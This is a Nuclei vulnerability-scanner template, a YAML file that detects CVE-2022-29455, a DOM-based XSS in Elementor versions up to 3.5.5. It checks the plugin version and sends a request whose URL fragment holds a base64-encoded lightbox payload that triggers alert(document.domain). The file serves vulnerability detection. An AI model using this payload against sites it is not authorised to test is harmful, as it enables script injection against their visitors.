nuclei-templates/cves/2022/CVE-2022-29455.yaml

49 lines
1.7 KiB
YAML

id: CVE-2022-29455
info:
name: Wordpress Elementor <= 3.5.5 - DOM-based Reflected Cross-Site Scripting
author: rotembar
severity: medium
description: |
DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29455
- https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor
- https://www.rotem-bar.com/elementor
- https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability
classification:
cve-id: CVE-2022-29455
metadata:
verified: "true"
tags: cve,cve2022,xss,wordpress,elementor
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
- "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwOi8vIiwidmlkZW9UeXBlIjoiaG9zdGVkIiwidmlkZW9QYXJhbXMiOnsib25lcnJvciI6ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikifX0="
extractors:
- type: regex
name: version
group: 1
regex:
- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
internal: true
- type: kval
kval:
- version
req-condition: true
matchers-condition: and
matchers:
- type: regex
part: body_1
regex:
- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
- type: dsl
dsl:
- compare_versions(version, '<= 3.5.5') && status_code_1 == 200 && status_code_2 == 200